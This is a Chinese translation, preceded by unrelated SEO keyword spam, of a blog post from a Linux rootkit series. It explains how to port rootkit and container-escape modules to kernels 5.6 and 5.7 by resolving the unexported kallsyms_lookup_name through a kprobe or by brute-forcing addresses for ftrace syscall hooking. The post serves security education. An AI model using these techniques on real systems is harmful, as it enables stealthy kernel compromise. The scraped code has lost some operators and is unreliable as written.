现在建网站赚钱吗,山西长治做网站公司有哪些,北京建设网站公司网站,站长之家工具查询Linux Rootkit#xff1a;内核 5.7 的新方法 文章目录 [Linux Rootkit#xff1a;内核 5.7 的新方法](https://xcellerator.github.io/posts/linux_rootkits_11/)这是怎么回事#xff1f;ProcFS 更改Kallsyms 问题系统调用名称问题就这样…… 这是怎么回事#xff1f;
早在…Linux Rootkit内核 5.7 的新方法 文章目录 [Linux Rootkit内核 5.7 的新方法](https://xcellerator.github.io/posts/linux_rootkits_11/)这是怎么回事ProcFS 更改Kallsyms 问题系统调用名称问题就这样…… 这是怎么回事
早在 2020 年 2 月 LKML上就有一些关于kallsyms_lookup_name()从内核取消导出的骚动。造成这种情况的主要原因是不道德的模块开发人员通常会简单地添加MODULE_LICENSE(GPL)到他们的代码中而没有实际许可他们的模块。然后通过使用kallsyms_lookup_name()他们可以随心所欲地使用任何其他导出的内核函数。内核开发人员不喜欢这样因为它使树外模块能够调用非导出函数。
显然这对我们来说是一个问题特别是ftrace_helper.h用于kallsyms_lookup_name()获取我们想要挂钩的函数的地址。事实上从内核版本 5.7 开始我们不能再使用这个函数了diff。
除了这一更改之外5.6 版本的发布还对 procfs 系统进行了一些其他更改。虽然这些修复相对较小但为了在ftrace_helper.h更新的内核上工作还有更多的工作要做。 值得注意的是截至撰写本文时可用于 Ubuntu 20.04 的最新内核是5.4.0-60-generic因此如果您使用 LTS这些更改实际上不会影响您。但能够走在时代前沿真是太好了 ProcFS 更改
让我们先处理一下更改proc_create()。这是一个非常简单的修复但说明了一种在不破坏现有支持的情况下处理此类更改的好方法。查看v5.5.19中的声明我们看到
struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);复制
我们在《Privileged Container Escapes with Kernel Modules》escape.c中使用了该声明。然而从 5.6 版本开始现在看起来像这样proc_create()
struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct proc_ops *proc_ops);复制
请注意最后一个参数已从file_operations结构体更改为proc_ops结构体我们需要在代码中考虑这一变化。我们关心的这些结构体之间有两个主要区别
不再有.owner字段proc_opsIO 处理程序的.read/字段现在分别称为/.write.proc_read.proc_write
那么处理这些变化的最佳方法是什么使用预处理器特别是linux/version.h为我们提供了LINUX_VERSION_CODE和KERNEL_VERSION宏。这些让我们非常简单地实现这些更改
#if LINUX_VERSION_CODE KERNEL_VERSION(5,6,0)
// proc_ops version
static const struct proc_ops proc_file_fops_escape {.proc_write escape_write,
};static const struct proc_ops proc_file_fops_output {.proc_write output_write,.proc_read output_read,
};
#else
// file_operations version
static const struct file_operations proc_file_fops_escape {.owner THIS_MODULE,.write escape_write,
};static const struct file_operations proc_file_fops_output {.owner THIS_MODULE,.write output_write,.read output_read,
};
#endif复制
至此第一个问题就解决了docker escape 现在可以编译并按5.10.6-arch1-1预期工作。相同的代码仍然可以5.4.0-60-generic在 Ubuntu 20.04 上编译。 此修复已合并到存储库中。您可以在此处查看上面提到的更改。 Kallsyms 问题
现在我们遇到一个稍微困难一点的问题。如果没有kallsyms_lookup_name()我们无法轻松地将符号名称解析为内存地址这意味着我们无法使用 ftrace 挂钩函数回想一下我们使用 ftrace 来注册当等于$rip我们想要挂钩的函数的内存地址时触发的回调 。
我最初的想法是寻找一个不同的内核函数仍然是导出的它可以用来无意中解析符号名称。我决定与sprint_symbol()执行相反的操作kallsyms_lookup_name()即给定一个内存地址它返回该地址处的函数名称。
使用这个我决定从基地址向上循环地址sprint_symbol()每次调用并strncmp()ing 直到找到我想要的函数。虽然有点不雅观但效果却出奇的好。它看起来像这样
/** kaddr is an unsigned long which holds the memory address being looped over* fname_lookup is a kernel buffer which stores the name of the function at kaddr* fname is a kernel buffer storing the function were searching for*//** Trick to get the kernel base address* sprint_symbol() is less than 0x100000 bytes from the base address, so* we can just AND-out the last 3 bytes from its address to obtain the address* of startup_64 (the kernel load address)*/
kaddr (unsigned long) sprint_symbol;
kaddr 0xffffffffff000000;/* During testing, all the interesting functions were found below this limit */
for ( i 0x0 ; i 0x100000 ; i )
{sprint_symbol(fname_lookup, kaddr);if (strncmp(fname_lookup, fname, strlen(fname)) 0){/* Match! Clean up and exit */kfree(fname_lookup);return kaddr;}/* Kernel function addresses are all aligned, so we skip 0x10 bytes */kaddr 0x10;
}
kfree(fname_lookup);复制
如果我最终没有使用这种技术为什么我还要费心告诉你呢有两个原因首先是为了说明剥猫皮的方法总是不止一种。其次是因为我上面使用的技巧来获取内核基地址。我面临的问题是如何知道从哪里开始暴力破解。加载内核的地址被称为startup_64您可以在 中找到它/proc/kallsyms但是内核地址空间布局随机化意味着该地址将在每次启动时发生变化。然而即使我们不能使用我们仍然可以通过使用运算符来获取任何导出的kallsyms_lookup_name()内核函数的地址。
sprint_symbol如果您检查系统上的和的地址startup_64您会发现只有最后 3 个字节不同。这是因为距内核开头sprint_symbol不到字节。0x100000这种差异在重新启动之间不会改变。因此我们只需删除最后三个字节即可获得基地址尽管它已经在上面的代码片段中但我会再次将其放在这里因为我认为它非常酷
/* Get the address of sprint_symbol() */
kaddr (unsigned long) sprint_symbol;/* Set the last 3 bytes of the address to 0x00 */
kaddr 0xffffffffff000000;复制
当我致力于完善这项技术时f0lg0在 GitHub 上提出了一个问题提出了这个问题并提出了一种使用 kprobes 的很酷的技术。
Kprobe系统允许您动态地将断点插入正在运行的内核中。我们将使用它来完成kallsyms_lookup_name()查找自身的工作
经过一番反复讨论后他们想出了一个非常巧妙的解决方案。他们在该评论中的代码很好地说明了主要思想。我们只需声明一个kprobe结构体并将.symbol_name字段预设为kallsyms_lookup_name。一旦注册了kprobe我们就可以取消引用该.addr字段来获取内存地址
为了有效且整齐地实施这项技术我希望所有的更改都在ftrace_helper.honly 中。这里的技巧是使用linux/version.h上面提到的宏来检查内核版本然后在kallsyms_lookup_name()像平常一样使用之前手动解析。
最初我们只是包含linux/kprobes.h并声明该kprobe结构请参阅此处
#if LINUX_VERSION_CODE KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include linux/kprobes.h
static struct kprobe kp {.symbol_name kallsyms_lookup_name
};
#endif复制
就位后在尝试使用之前kallsyms_lookup_name()我们只需添加以下代码片段。需要做的就是注册 kprobe将.addr字段分配给一个名为的符号kallsyms_lookup_name在适当地转换它之后然后在完成后取消注册 kprobe请参阅此处。
#ifdef KPROBE_LOOKUP/* typedef for kallsyms_lookup_name() so we can easily cast kp.addr */typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);kallsyms_lookup_name_t kallsyms_lookup_name;/* register the kprobe */register_kprobe(kp);/* assign kallsyms_lookup_name symbol to kp.addr */kallsyms_lookup_name (kallsyms_lookup_name_t) kp.addr;/* done with the kprobe, so unregister it */uregister_kprobe(kp);
#endif复制
当然如果我们不是在内核 5.7 上进行编译那么这些都不会触发并且kallsyms_lookup_name()将由内核头解析就像之前的情况一样。这样我们就不必对现有代码进行任何更改ftrace_helper.h- 并且 5.7 之前的内核版本不受影响
系统调用名称问题
最后还有另一个小补丁修复了一直困扰我的问题。ftrace_helper.h尽管共享相同的名称但存储库中实际上有两个略有不同的文件。原因是我使用宏来添加__x64_到系统调用名称但问题是没有一种简单的方法据我所知仅添加__x64_到以sys_. ftrace_helper.h为了解决这个问题我只是在没有挂接系统调用时删除了相应的宏。
这是非常不优雅的所以我决定完全删除宏并简单地手动添加__x64_到任何rootkit.c挂钩系统调用的 s 中。缺点是不再自动支持 32 位内核您必须__x64_从HOOK()宏中删除rootkit.c并重新编译但现在 32 位并没有太多问题我实际上没有测试过任何内容 32 位所以我什至不知道哪些模块已损坏以及哪些模块可以工作。
就这样……
现在存储库中的 Rootkit 技术可与最新内核配合使用再次感谢f0lg0他们使用 kprobes 来解析的想法kallsyms_lookup_name()- 绝对比暴力破解地址更简洁。
直到下一次…
阅读其他帖子 ←JanusBGGP 2021 的多语言二进制文件Fancy Bear 是一名伐木工人没关系 - 深入了解 Drovorub 的内核组件→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
Drovorub 的内核组件→](https://xcellerator.github.io/posts/linux_rootkits_10/)
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分 随机
